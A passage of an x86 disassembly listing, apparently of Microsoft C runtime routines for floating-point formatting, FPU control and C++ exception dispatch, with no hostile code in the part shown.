ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421DC6 or byte ptr [ebp+var_C+3], 80h loc_421DC6: ; CODE XREF: sub_421BFF+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_421DAF loc_421DCC: ; CODE XREF: sub_421BFF+1ACj test edx, edx jz short loc_421DD8 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_421DD8: ; CODE XREF: sub_421BFF+183j ; sub_421BFF+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421DE4 ; --------------------------------------------------------------------------- loc_421DE2: ; CODE XREF: sub_421BFF+14Ej mov esi, ebx loc_421DE4: ; CODE XREF: sub_421BFF+1E1j test esi, esi pop esi jz short loc_421DF1 push 10h call sub_4220AC pop ecx loc_421DF1: ; CODE XREF: sub_421BFF+1E8j and edi, 0FFFFFFFDh loc_421DF4: ; CODE XREF: sub_421BFF+26j ; sub_421BFF+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_421E0B test byte ptr [ebp+arg_8], 20h jz short loc_421E0B push 20h call sub_4220AC pop ecx and edi, 0FFFFFFEFh loc_421E0B: ; CODE XREF: sub_421BFF+1F9j ; sub_421BFF+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_421BFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421E16(int,int,int,int,int,int,double,int) sub_421E16 proc near ; CODE XREF: sub_421861+2Bp ; sub_4218B4+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421EC4 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_421E81 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_422089 lea eax, [ebp+var_20] push eax call sub_42482D add esp, 0Ch test eax, eax jnz short loc_421E7B push esi call sub_421E9E pop ecx loc_421E7B: ; CODE XREF: sub_421E16+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_421E81: ; CODE XREF: sub_421E16+14j push 0FFFFh push [ebp+arg_20] call sub_422089 push [ebp+arg_0] call sub_421E9E fld [ebp+arg_18] add esp, 0Ch leave retn sub_421E16 endp ; =============== S U B R O U T I N E ======================================= sub_421E9E proc near ; CODE XREF: sub_4218B4+7Dp ; sub_421E16+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421EB9 jle short locret_421EC3 cmp eax, 3 jg short locret_421EC3 mov dword_4DBDDC, 22h retn ; --------------------------------------------------------------------------- loc_421EB9: ; CODE XREF: sub_421E9E+7j mov dword_4DBDDC, 21h locret_421EC3: ; CODE XREF: sub_421E9E+9j ; sub_421E9E+Ej retn sub_421E9E endp ; =============== S U B R O U T I N E ======================================= sub_421EC4 proc near ; CODE XREF: sub_421E16+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43D308 loc_421ECB: ; CODE XREF: sub_421EC4+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421EE1 add eax, 8 inc ecx cmp eax, offset dbl_43D3E0 jl short loc_421ECB xor eax, eax retn ; --------------------------------------------------------------------------- loc_421EE1: ; CODE XREF: sub_421EC4+Dj mov eax, off_43D30C[ecx*8] retn sub_421EC4 endp ; =============== S U B R O U T I N E ======================================= sub_421EE9 proc near ; CODE XREF: sub_4218B4+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421EF5 push 5 jmp short loc_421F0B ; --------------------------------------------------------------------------- loc_421EF5: ; CODE XREF: sub_421EE9+6j test al, 8 jz short loc_421EFD push 1 jmp short loc_421F0B ; --------------------------------------------------------------------------- loc_421EFD: ; CODE XREF: sub_421EE9+Ej test al, 4 jz short loc_421F05 push 2 jmp short loc_421F0B ; --------------------------------------------------------------------------- loc_421F05: ; CODE XREF: sub_421EE9+16j test al, 1 jz short loc_421F0D push 3 loc_421F0B: ; CODE XREF: sub_421EE9+Aj ; sub_421EE9+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_421F0D: ; CODE XREF: sub_421EE9+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421EE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421F16(double) sub_421F16 proc near ; CODE XREF: sub_41D055:loc_41D0DBp ; sub_41D19B:loc_41D221p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421F16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421F28(double,int) sub_421F28 proc near ; CODE XREF: sub_421FAB+82p ; sub_421FAB+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_421F28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F51 proc near ; CODE XREF: sub_41D055+31p ; sub_41D19B+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_421F68 cmp [ebp+arg_0], edx jnz short loc_421F7A push 1 jmp short loc_421FA4 ; --------------------------------------------------------------------------- loc_421F68: ; CODE XREF: sub_421F51+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_421F7A cmp [ebp+arg_0], edx jnz short loc_421F7A push 2 jmp short loc_421FA4 ; --------------------------------------------------------------------------- loc_421F7A: ; CODE XREF: sub_421F51+11j ; sub_421F51+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_421F8D push 3 jmp short loc_421FA4 ; --------------------------------------------------------------------------- loc_421F8D: ; CODE XREF: sub_421F51+36j cmp cx, 7FF0h jnz short loc_421FA7 test [ebp+arg_4], 7FFFFh jnz short loc_421FA2 cmp [ebp+arg_0], edx jz short loc_421FA7 loc_421FA2: ; CODE XREF: sub_421F51+4Aj push 4 loc_421FA4: ; CODE XREF: sub_421F51+15j ; sub_421F51+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421FA7: ; CODE XREF: sub_421F51+41j ; sub_421F51+4Fj xor eax, eax pop ebp retn sub_421F51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421FAB(double,int) sub_421FAB proc near ; CODE XREF: sub_421BFF+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427860 push esi fnstsw ax sahf jnz short loc_421FCB fldz xor esi, esi fstp [ebp+var_8] jmp loc_422061 ; --------------------------------------------------------------------------- loc_421FCB: ; CODE XREF: sub_421FAB+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_42203A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421FE3 cmp dword ptr [ebp+arg_0], ecx jz short loc_42203A loc_421FE3: ; CODE XREF: sub_421FAB+31j fld [ebp+arg_0] fcomp dbl_427860 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_421FFB push 1 pop eax jmp short loc_421FFD ; --------------------------------------------------------------------------- loc_421FFB: ; CODE XREF: sub_421FAB+49j xor eax, eax loc_421FFD: ; CODE XREF: sub_421FAB+4Ej ; sub_421FAB+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_422016 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_422010 or dword ptr [ebp+arg_0+4], 1 loc_422010: ; CODE XREF: sub_421FAB+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_421FFD ; --------------------------------------------------------------------------- loc_422016: ; CODE XREF: sub_421FAB+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_422024 or byte ptr [ebp+arg_0+7], 80h loc_422024: ; CODE XREF: sub_421FAB+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421F28 fstp [ebp+var_8] add esp, 0Ch jmp short loc_422061 ; --------------------------------------------------------------------------- loc_42203A: ; CODE XREF: sub_421FAB+28j ; sub_421FAB+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421F28 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_422061: ; CODE XREF: sub_421FAB+1Bj ; sub_421FAB+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_421FAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42206C proc near ; CODE XREF: sub_42194C+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_42206C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42207A proc near ; CODE XREF: sub_42194C+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_42207A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422089 proc near ; CODE XREF: sub_41D055+13p ; sub_41D055+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_422089 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4220AC proc near ; CODE XREF: sub_421BFF+1Dp ; sub_421BFF+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_4220C3 fld tbyte_43D408 fistp [ebp+arg_0] wait loc_4220C3: ; CODE XREF: sub_4220AC+Bj test cl, 8 jz short loc_4220D8 fstsw ax fld tbyte_43D408 fstp [ebp+var_8] wait fstsw ax loc_4220D8: ; CODE XREF: sub_4220AC+1Aj test cl, 10h jz short loc_4220E7 fld tbyte_43D414 fstp [ebp+var_8] wait loc_4220E7: ; CODE XREF: sub_4220AC+2Fj test cl, 4 jz short loc_4220F5 fldz fld1 fdivrp st(1), st fstp st wait loc_4220F5: ; CODE XREF: sub_4220AC+3Ej test cl, 20h jz short locret_422100 fldpi fstp [ebp+var_8] wait locret_422100: ; CODE XREF: sub_4220AC+4Cj leave retn sub_4220AC endp ; =============== S U B R O U T I N E ======================================= sub_422102 proc near ; CODE XREF: sub_41D124+Fp push 30000h push 10000h call sub_424865 pop ecx pop ecx retn sub_422102 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422114 proc near ; CODE XREF: sub_422152:loc_422176j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427870 fstp [ebp+var_8] fld dbl_427868 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_4276F8 fnstsw ax sahf jbe short loc_42214E push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_42214E: ; CODE XREF: sub_422114+33j xor eax, eax leave retn sub_422114 endp ; =============== S U B R O U T I N E ======================================= sub_422152 proc near ; CODE XREF: sub_41D124+5p push offset aKernel32 ; "KERNEL32" nop call near ptr 26A0000h test eax, eax jz short loc_422176 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax nop call near ptr 26C0000h test eax, eax jz short loc_422176 push 0 call eax ; sub_41D124 retn ; --------------------------------------------------------------------------- loc_422176: ; CODE XREF: sub_422152+Dj ; sub_422152+1Dj jmp sub_422114 sub_422152 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42217B proc near ; CODE XREF: sub_41FF3F+3CBp ; DATA XREF: sub_41D13C+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41DFEC cmp eax, 65h pop ecx jz short loc_4221BB loc_42218F: ; CODE XREF: sub_42217B+3Ej inc esi cmp dword_43D084, 1 jle short loc_4221A8 movsx eax, byte ptr [esi] push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_4221B7 ; --------------------------------------------------------------------------- loc_4221A8: ; CODE XREF: sub_42217B+1Cj movsx eax, byte ptr [esi] mov ecx, off_43CE78 mov al, [ecx+eax*2] and eax, 4 loc_4221B7: ; CODE XREF: sub_42217B+2Bj test eax, eax jnz short loc_42218F loc_4221BB: ; CODE XREF: sub_42217B+12j mov cl, byte_43D088 mov al, [esi] mov [esi], cl inc esi loc_4221C6: ; CODE XREF: sub_42217B+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_4221C6 pop esi retn sub_42217B endp ; =============== S U B R O U T I N E ======================================= sub_4221D5 proc near ; CODE XREF: sub_41FF3F+3E2p ; DATA XREF: sub_41D13C+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43D088 mov cl, [eax] test cl, cl jz short loc_4221F1 loc_4221E5: ; CODE XREF: sub_4221D5+1Aj cmp cl, dl jz short loc_4221F1 mov cl, [eax+1] inc eax test cl, cl jnz short loc_4221E5 loc_4221F1: ; CODE XREF: sub_4221D5+Ej ; sub_4221D5+12j mov cl, [eax] inc eax test cl, cl jz short locret_422222 loc_4221F8: ; CODE XREF: sub_4221D5+34j mov cl, [eax] test cl, cl jz short loc_42220B cmp cl, 65h jz short loc_42220B cmp cl, 45h jz short loc_42220B inc eax jmp short loc_4221F8 ; --------------------------------------------------------------------------- loc_42220B: ; CODE XREF: sub_4221D5+27j ; sub_4221D5+2Cj ... mov ecx, eax loc_42220D: ; CODE XREF: sub_4221D5+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_42220D cmp [eax], dl jnz short loc_422218 dec eax loc_422218: ; CODE XREF: sub_4221D5+40j ; sub_4221D5+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_422218 locret_422222: ; CODE XREF: sub_4221D5+21j retn sub_4221D5 endp ; =============== S U B R O U T I N E ======================================= sub_422223 proc near ; DATA XREF: sub_41D13C+28o ; ___:off_43D430o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427860 fnstsw ax sahf jb short loc_422238 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422238: ; CODE XREF: sub_422223+Fj xor eax, eax retn sub_422223 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42223B proc near ; CODE XREF: sub_420DB0+430p ; DATA XREF: sub_41D13C+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_422264 lea eax, [ebp+var_8] push eax call sub_424D28 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_422264: ; CODE XREF: sub_42223B+Cj lea eax, [ebp+arg_8] push eax call sub_424D55 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_42223B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422279 proc near ; CODE XREF: sub_4224F6+17p ; sub_422540+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4DBE5C, 0 push ebx push esi jz short loc_4222AE mov ebx, [ebp+arg_8] mov eax, dword_4DBE58 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_422591 pop ecx pop ecx jmp short loc_4222E6 ; --------------------------------------------------------------------------- loc_4222AE: ; CODE XREF: sub_422279+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_424DF9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424D82 add esp, 14h loc_4222E6: ; CODE XREF: sub_422279+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_4222F2 mov byte ptr [eax], 2Dh inc eax loc_4222F2: ; CODE XREF: sub_422279+73j test ebx, ebx jle short loc_42230A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43D088 mov eax, edi pop edi mov [eax], cl loc_42230A: ; CODE XREF: sub_422279+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4DBE5C, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41C890 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_422331 mov byte ptr [ecx], 45h loc_422331: ; CODE XREF: sub_422279+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_422376 mov ebx, [esi+4] dec ebx jns short loc_422345 neg ebx mov byte ptr [ecx], 2Dh loc_422345: ; CODE XREF: sub_422279+C5j inc ecx cmp ebx, 64h jl short loc_42235C mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_42235C: ; CODE XREF: sub_422279+D0j inc ecx cmp ebx, 0Ah jl short loc_422373 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_422373: ; CODE XREF: sub_422279+E7j add [ecx+1], bl loc_422376: ; CODE XREF: sub_422279+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_422279 endp ; =============== S U B R O U T I N E ======================================= sub_42237D proc near ; CODE XREF: sub_42251D+13p ; sub_422540+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4DBE5C, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_4223B8 mov eax, dword_4DBE60 mov ebx, [esp+10h+arg_8] mov esi, dword_4DBE58 cmp eax, ebx jnz short loc_4223E8 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_4223E8 ; --------------------------------------------------------------------------- loc_4223B8: ; CODE XREF: sub_42237D+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_424DF9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424D82 add esp, 14h loc_4223E8: ; CODE XREF: sub_42237D+22j ; sub_42237D+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_4223F6 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_4223F6: ; CODE XREF: sub_42237D+70j mov eax, [esi+4] test eax, eax jg short loc_42240D push 1 push edi call sub_422591 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_42240F ; --------------------------------------------------------------------------- loc_42240D: ; CODE XREF: sub_42237D+7Ej add edi, eax loc_42240F: ; CODE XREF: sub_42237D+8Ej test ebx, ebx jle short loc_422454 push 1 push edi call sub_422591 mov al, byte_43D088 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_422454 cmp byte_4DBE5C, 0 jz short loc_422439 neg esi jmp short loc_42243F ; --------------------------------------------------------------------------- loc_422439: ; CODE XREF: sub_42237D+B6j neg esi cmp ebx, esi jl short loc_422441 loc_42243F: ; CODE XREF: sub_42237D+BAj mov ebx, esi loc_422441: ; CODE XREF: sub_42237D+C0j push ebx push edi call sub_422591 push ebx push 30h push edi call sub_41BF70 add esp, 14h loc_422454: ; CODE XREF: sub_42237D+94j ; sub_42237D+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_42237D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42245B proc near ; CODE XREF: sub_422540+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_424DF9 mov dword_4DBE58, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4DBE60, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424D82 mov eax, dword_4DBE58 add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4DBE60, ecx setl cl mov byte_4DBE64, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4DBE60, eax jl short loc_4224E1 cmp eax, ebx jge short loc_4224E1 test cl, cl jz short loc_4224D2 loc_4224C8: ; CODE XREF: sub_42245B+72j mov al, [esi] inc esi test al, al jnz short loc_4224C8 and [esi-2], al loc_4224D2: ; CODE XREF: sub_42245B+6Bj push ebx push [ebp+arg_4] push edi call sub_42251D add esp, 0Ch jmp short loc_4224F1 ; --------------------------------------------------------------------------- loc_4224E1: ; CODE XREF: sub_42245B+63j ; sub_42245B+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_4224F6 add esp, 10h loc_4224F1: ; CODE XREF: sub_42245B+84j pop edi pop esi pop ebx pop ebp retn sub_42245B endp ; =============== S U B R O U T I N E ======================================= sub_4224F6 proc near ; CODE XREF: sub_42245B+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4DBE5C, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_422279 and byte_4DBE5C, 0 add esp, 10h retn sub_4224F6 endp ; =============== S U B R O U T I N E ======================================= sub_42251D proc near ; CODE XREF: sub_42245B+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4DBE5C, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_42237D and byte_4DBE5C, 0 add esp, 0Ch retn sub_42251D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422540 proc near ; CODE XREF: sub_41FF3F+3AAp ; DATA XREF: sub_41D13Co ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_42257B cmp [ebp+arg_8], 45h jz short loc_42257B cmp [ebp+arg_8], 66h jnz short loc_422568 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_42237D add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_422568: ; CODE XREF: sub_422540+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_42245B jmp short loc_42258C ; --------------------------------------------------------------------------- loc_42257B: ; CODE XREF: sub_422540+7j ; sub_422540+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_422279 loc_42258C: ; CODE XREF: sub_422540+39j add esp, 10h pop ebp retn sub_422540 endp ; =============== S U B R O U T I N E ======================================= sub_422591 proc near ; CODE XREF: sub_422279+2Cp ; sub_42237D+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_4225B4 push esi mov esi, [esp+8+arg_0] push esi call sub_41B9C0 inc eax push eax push esi add esi, edi push esi call sub_41D670 add esp, 10h pop esi loc_4225B4: ; CODE XREF: sub_422591+7j pop edi retn sub_422591 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225B6 proc near ; CODE XREF: ___:0041D31Cp ; sub_41D385+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_4225CC call sub_422E52 loc_4225CC: ; CODE XREF: sub_4225B6+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_4225F4 cmp dword ptr [esi+4], 0 jz short loc_42264A cmp [ebp+arg_14], 0 jnz short loc_42264A push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_4228FD add esp, 10h jmp short loc_42264A ; --------------------------------------------------------------------------- loc_4225F4: ; CODE XREF: sub_4225B6+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_42264A cmp dword ptr [eax], 0E06D7363h jnz short loc_42262E cmp [eax+14h], edi jbe short loc_42262E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_42262E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_42264D ; --------------------------------------------------------------------------- loc_42262E: ; CODE XREF: sub_4225B6+4Aj ; sub_4225B6+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_422651 add esp, 20h loc_42264A: ; CODE XREF: sub_4225B6+23j ; sub_4225B6+29j ... push 1 pop eax loc_42264D: ; CODE XREF: sub_4225B6+76j pop edi pop esi pop ebp retn sub_4225B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422651 proc near ; CODE XREF: sub_4225B6+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_422671 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_422676 loc_422671: ; CODE XREF: sub_422651+16j call sub_422E52 loc_422676: ; CODE XREF: sub_422651+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_4227CD cmp dword ptr [esi+10h], 3 jnz short loc_4226EA cmp [esi+14h], edi jnz short loc_4226EA cmp dword ptr [esi+1Ch], 0 jnz short loc_4226EA mov esi, dword_4DBE68 test esi, esi jz loc_4227C8 mov eax, dword_4DBE6C push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424F80 pop ecx test eax, eax pop ecx jnz short loc_4226CC call sub_422E52 loc_4226CC: ; CODE XREF: sub_422651+74j cmp [esi], ebx jnz loc_4227CD cmp dword ptr [esi+10h], 3 jnz short loc_4226EA cmp [esi+14h], edi jnz short loc_4226EA cmp dword ptr [esi+1Ch], 0 jnz short loc_4226EA call sub_422E52 loc_4226EA: ; CODE XREF: sub_422651+41j ; sub_422651+46j ... cmp [esi], ebx jnz loc_4227CD cmp dword ptr [esi+10h], 3 jnz loc_4227CD cmp [esi+14h], edi jnz loc_4227CD mov edi, [ebp+var_10] lea 